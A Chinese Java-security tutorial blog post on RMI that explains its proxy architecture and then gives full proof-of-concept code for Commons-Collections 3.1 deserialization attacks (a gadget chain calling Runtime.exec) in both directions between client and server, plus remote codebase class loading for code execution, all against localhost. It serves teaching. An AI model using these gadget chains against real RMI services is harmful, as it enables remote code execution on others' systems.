java安全入门(四)——RMI

RMI 定义

        RMI 是远程⽅法调⽤的简称,能够帮助我们查找并执⾏远程对象的⽅法。通俗地说,远程调⽤就象将⼀个 class 放在 A 机器上,然后在 B 机器中调⽤这个 class 的⽅法。
        RMI ( Remote Method Invocation ),为远程⽅法调⽤,是允许运⾏在⼀个 Java 虚拟机的对象 调⽤运⾏在另⼀个Java 虚拟机上的对象的⽅法。 这两个虚拟机可以是运⾏在相同计算机上的不同 进程中,也可以是运⾏在⽹络上的不同计算机中。
        Java RMI ( Java Remote Method Invocation ),是 Java 编程语⾔⾥⼀种⽤于实现远程过程
调⽤的应⽤程序编程接⼝。它使客户机上运⾏的程序可以调⽤远程服务器上的对象。远程⽅法调⽤
特性使 Java 编程⼈员能够在⽹络环境中分布操作。 RMI 全部的宗旨就是尽可能简化远程接⼝对象的
使⽤。
        从客户端- 服务器模型来看,客户端程序直接调⽤服务端,两者之间是通过 JRMP Java Remote Method Protocol )协议通信,这个协议类似于 HTTP 协议,规定了客户端和服务端通信要满⾜的规范。

RMI 代理模式

概念

StubSkeleton

        RMI的客户端和服务器并不直接通信,客户与远程对象之间采⽤的代理⽅式进⾏ Socket 通信。为远程对象分别⽣成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub 即存根(包含服务器 Skeleton 信息),位于服务端的代理类称为 Skeleton 即⻣⼲⽹。

RMI Registry

        RMI注册表 ,默认监听在 1099 端⼝上, Client 通过 Name RMI Registry 查询,得到这个绑定关系和对应的 Stub

远程对象

        远程对象是存在于服务端以供客户端调⽤⽅法的对象。任何可以被远程调⽤的对象都必须实现 java.rmi.Remote 接⼝,远程对象的实现类必须继承 UnicastRemoteObject 类。这个远程对象中可 能有很多个函数,但是只有在远程接⼝中声明的函数才能被远程调⽤,其他的公共函数只能在本地的 JVM 中使⽤。

序列化传输数据

        客户端远程调⽤时传递给服务器的参数,服务器执⾏后的传递给客户端的返回值。参数或者返回值,在传输的时会被序列化,在被接受时会被反序列化。
        因此这些传输的对象必须可以被序列化,相应的类必须实现 java.io.Serializable 接⼝,并且客户端的 serialVersionUID 字段要与服务器端保持⼀致。

结构与流程

远程⽅法调⽤通讯结构图:

        服务端创建远程对象, Skeleton 侦听⼀个随机的端⼝,以供客户端调⽤。
        RMI Registry 启动,注册远程对象,通过 Name 和远程对象进⾏关联绑定,以供客户端进⾏查询。
        客户端对 RMI Registry 发起请求,根据提供的 Name 得到 Stub
        Stub 中包含与 Skeleton 通信的信息(地址,端⼝等),两者建⽴通信, Stub 作为客户端代理请求服务端代理 Skeleton 并进⾏远程⽅法调⽤。
        服务端代理 Skeleton 调⽤远程⽅法,调⽤结果先返回给 Skeleton Skeleton 再返回给客户端Stub , Stub 再返回给客户端本身。
从逻辑上来看,数据是在 Client Server 之间横向流动的,但是实际上是从 Client Stub ,然后从 Skeleton Server 这样纵向流动的,如下图所示:

 这⾥执⾏远程对象的⽅法的是RMI通讯的服务端,为攻击服务端的⽅式

代码实现

定义⼀个接⼝,继承 java.rmi.Remote ,并且接⼝中的全部⽅法抛出 RemoteException 异常。
        sayHello ,为测试接⼝。
        exp1 ,为客户端攻击服务端接⼝。
         exp2 ,为服务端攻击客户端接⼝。
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface RemoteHello extends Remote {
    String sayHello(String name) throws RemoteException;

    String exp1(Object work) throws RemoteException;

    Object exp2() throws RemoteException, Exception;
}

定义接⼝的实现类

package rmi;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;


public class RemoteHelloImpl implements RemoteHello {
    public String sayHello(String name) throws RemoteException {
        return String.format("Hello, %s!", name);
    }
    public String exp1(Object exp) throws RemoteException {
        System.out.println("exp1 is " + exp);
        return "exp1";
    }
    public Object exp2() throws Exception {
        System.out.println("exp2");
        return payload();
    }
    public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
                        {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null,
                transformerChain);
        Class cl =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class,
                Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

 创建 RMI Registry ,创建远程对象,绑定 Name 和远程对象,运⾏RMI服务端。

package rmi;


import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMITEST {
    public static void main(String[] args) throws RemoteException,
            MalformedURLException {
        try {
            //实例化对象
            RemoteHello h =  new RemoteHelloImpl();
            //⽤于导出远程对象,将此服务转换为远程服务接⼝
            RemoteHello skeleton = (RemoteHello)
                    UnicastRemoteObject.exportObject( h, 0);
             将RMI服务注册到1099端⼝:
            LocateRegistry.createRegistry(1099);
            // 注册此服务,服务名为"Hello":
            //Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
            Naming.rebind("Hello", h);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}
运⾏客户端
package rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
    public static void main(String[] args) throws RemoteException,
            NotBoundException {
        // 连接到服务器localhost,端⼝1099:
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接⼝:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        // 正常调⽤接⼝⽅法:
        String rs = h.sayHello("rai4over");
        // 打印调⽤结果:
        System.out.println(rs);
    }
}

客户端成功完成远程⽅法调⽤。 

readObject攻击RMI

RMI的客户端与服务端通信内容为序列化数据,客户端和服务端可以相互进⾏反序列化攻击。

本地代码库

通常设定的 CLASSPATH 可称为 本地代码库 ,磁盘上加载本地类的位置的列表。
环境:
        服务端JDK 版本为 JDK1.7u21
        服务端存在 Commons-Collections3.1 或其他可利⽤组件。

攻击服务端

如果客户端传递给服务端恶意序列化数据,服务端反序列化时调⽤ readObject 就会遭到攻击。

客户端攻击 POC
package rmi.readObjectRMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import rmi.RemoteHello;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 连接到服务器localhost,端⼝1099:
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接⼝:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        // 正常调⽤接⼝⽅法:
        //String rs = h.sayHello("rai4over");
        String rs = h.exp1(payload());
        // 打印调⽤结果:
        System.out.println(rs);
    }

    public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,
                        Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null,
                transformerChain);
        Class cl =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

攻击客户端

反之,服务端同样可以通过恶意反序列化数据攻击客户端。
受害客户端代码:
package rmi.readObjectRMI;

import rmi.RemoteHello;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient1 {
    public static void main(String[] args) throws Exception {
        // 连接到服务器localhost,端⼝1099:
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接⼝:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        // 正常调⽤接⼝⽅法:
        //String rs = h.sayHello("rai4over");
        //String rs = h.exp1(payload());
        Object rs = h.exp2();
        // 打印调⽤结果:
        System.out.println(rs);
    }
}

远程动态加载代码

        Java™平台最重要的功能之⼀是能够将 Java 类组件从任何统⼀资源定位器( URL )动态下载到通常在不 同物理系统上,以单独进程运⾏的虚拟机(VM )的能⼒。
        Java RMI利⽤此功能下载和执⾏类,使⽤ Java RMI API ,不仅浏览器中的 VM ,任何 VM 都可以下载任何Java类⽂件,包括专⻔的 Java RMI 存根类,这些类可以使⽤服务器系统的资源在远程服务器上执⾏⽅法调⽤。
        java.rmi.server.codebase 属性值表示⼀个或多个 URL 位置,可以从中下载所需的资源。
受害端使⽤该属性远程动态加载需要两个条件:
        java.rmi.server.useCodebaseOnly 的值为 false 。为 true 时,禁⽤⾃动加载远程,仅从
CLASSPATH 和当前虚拟机的 java.rmi.server.codebase 指定路径加载类⽂件。从 JDK6u45 、 7u21 开始, java.rmi.server.useCodebaseOnly 的默认值就是 true
        设置 securityManager java.security.policy

客户端动态加载

RMIRMI client 利⽤远程动态加载代码示意图如下:

  •  创建HTTP服务器,作为动态加载代码的远程仓库。
  • 服务端创建远程对象, RMI Registry 启动并完成名称绑定,并设
    java.rmi.server.codebase
  • 客户端对 RMI Registry 发起请求,,根据提供的 Name 得到 Stub ,并根据服务器返回的
    java.rmi.server.codebase 远程加载动态所需的类。(客户端也可以⾃⾏指定
    java.rmi.server.codebase
    python3 -m http.server 开启 http 服务,并放⼊ commons-collections-3.1.jar 依赖。
    恶意服务器端设置 java.rmi.server.codebase 的代码:
    package RMI;
    import java.net.MalformedURLException;
    import java.rmi.Naming;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.server.UnicastRemoteObject;
    public class RMITEST {
        public static void main(String[] args) throws RemoteException,
                MalformedURLException {
            try {
                System.setProperty("java.rmi.server.codebase",
                        "http://127.0.0.1:8000/commons-collections-3.1.jar");
                //实例化对象
                RemoteHello h = new RemoteHelloImpl();
                //⽤于导出远程对象,将此服务转换为远程服务接⼝
                RemoteHello skeleton = (RemoteHello)
                        UnicastRemoteObject.exportObject(h, 0);
                 将RMI服务注册到1099端⼝:
                LocateRegistry.createRegistry(1099);
                // 注册此服务,服务名为"Hello":
                Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
                //Naming.rebind("Hello", h);
            } catch (RemoteException e) {
                e.printStackTrace();
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
        }
    }
    
    受害攻击客户端代码:
    package RMI;
    import java.rmi.RMISecurityManager;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class RMIClient {
        public static void main(String[] args) throws Exception {
    
            System.setProperty("java.security.policy",
                    RMIServer.class.getClassLoader().getResource("java.policy").getFile());
            RMISecurityManager securityManager = new RMISecurityManager();
            System.setSecurityManager(securityManager);
            // 连接到服务器localhost,端⼝1099:
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            // 查找名称为"Hello"的服务并强制转型为Hello接⼝:
            RemoteHello h = (RemoteHello) registry.lookup("Hello");
            // 正常调⽤接⼝⽅法:
            //String rs = h.sayHello("rai4over");
            //String rs = h.exp1(payload());
            Object rs = h.exp2();
            // 打印调⽤结果:
            System.out.println(rs);
        }
    }
    Resource ⽬录下的 java.policy 配置权限如下:
    grant {
     permission java.security.AllPermission;
    };
    运⾏客户端,具体命令( classpath 太⻓省略)如下:
    java -Djava.rmi.server.useCodebaseOnly=false -Dfile.encoding=UTF-8 -classpath
    /AAAAA:/BBBBB RMI.RMIClient
    客户端成功远程动态加载 commons-collections-3.1.jar 并完成 RCE
    如果服务端没有设置 java.rmi.server.codebase 指定远程动态加载代码的位置,也可以通过客户端
    ⾃⾏指定:
    java -Djava.rmi.server.useCodebaseOnly=false -
    Djava.rmi.server.codebase=http://127.0.0.1:8000/commons-collections-3.1.jar -
    Dfile.encoding=UTF-8 -classpath /AAAAA:/BBBBB RMI.RMIClient

    服务端动态加载

    恶意客户端代码:
    package RMI;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.util.HashMap;
    import java.util.Map;
    public class RMIClient {
        public static void main(String[] args) throws Exception {
            System.setProperty("java.rmi.server.codebase",
                    "http://127.0.0.1:8000/commons-collections-3.1.jar");
            // 连接到服务器localhost,端⼝1099:
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            // 查找名称为"Hello"的服务并强制转型为Hello接⼝:
            RemoteHello h = (RemoteHello) registry.lookup("Hello");
            // 正常调⽤接⼝⽅法:
            //String rs = h.sayHello("rai4over");
            String rs = h.exp1(payload());
            //Object rs = h.exp2();
            // 打印调⽤结果:
            System.out.println(rs);
        }
        public static Object payload() throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,
                            Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class,
                            Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new
                            Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map map = new HashMap();
            map.put("value", "lala");
            Map transformedMap = TransformedMap.decorate(map, null,
                    transformerChain);
            Class cl =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, transformedMap);
            return instance;
        }
    }
    受害服务端代码:
    package RMI;
    import java.net.MalformedURLException;
    import java.rmi.Naming;
    import java.rmi.RMISecurityManager;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.server.UnicastRemoteObject;
    public class RMITEST {
        public static void main(String[] args) throws RemoteException,
                MalformedURLException {
            try {
                System.setProperty("java.security.policy",
                        RMIServer.class.getClassLoader().getResource("java.policy").getFile());
                RMISecurityManager securityManager = new RMISecurityManager();
                System.setSecurityManager(securityManager);
                //实例化对象
                RemoteHello h = new RemoteHelloImpl();
                //⽤于导出远程对象,将此服务转换为远程服务接⼝
                RemoteHello skeleton = (RemoteHello)
                        UnicastRemoteObject.exportObject(h, 0);
                 将RMI服务注册到1099端⼝:
                LocateRegistry.createRegistry(1099);
                // 注册此服务,服务名为"Hello":
                Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
                //Naming.rebind("Hello", h);
            } catch (RemoteException e) {
                e.printStackTrace();
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
        }
    }
    运⾏⽅法与上⽂相同

    RMI ⼯⼚模式

    除了代理模式,RMI还存在经典的⼯⼚模式,流程图如下:

     ProductImp 为远程对象, FactoryImpl 对象指向 ProductImp对象 ,⼤致流程如下:

    1.创建 FactoryImpl 对象 ,设置 FactoryImpl 对象 指向 ProductImp (通过 HTTP 等协议定位, 可以位于其他服务器),具有指向功能的对象也可以叫做 reference 对象
    2.服务器端的 RMI Registry 启动,创建并注册 reference 对象 (指向 FactoryImpl 对象 ),通过 Name 和 reference 对象 进⾏关联绑定,以供客户端进⾏查询。
    3.客户端对 RMI Registry 发起请求,根据提供的 Name 得到指向 FactoryImpl 对象 reference 对象 。
    4.客户端加载 FactoryImpl 对象 到本地,并调⽤ FactoryImpl 对象 的⽅法,得到指向 ProductImp 对象 的 reference 对象
    5.客户端加载 ProductImp 对象 到本地,并调⽤ ProductImp 对象 的⽅法,得到最终结果。

     

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ErYao7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值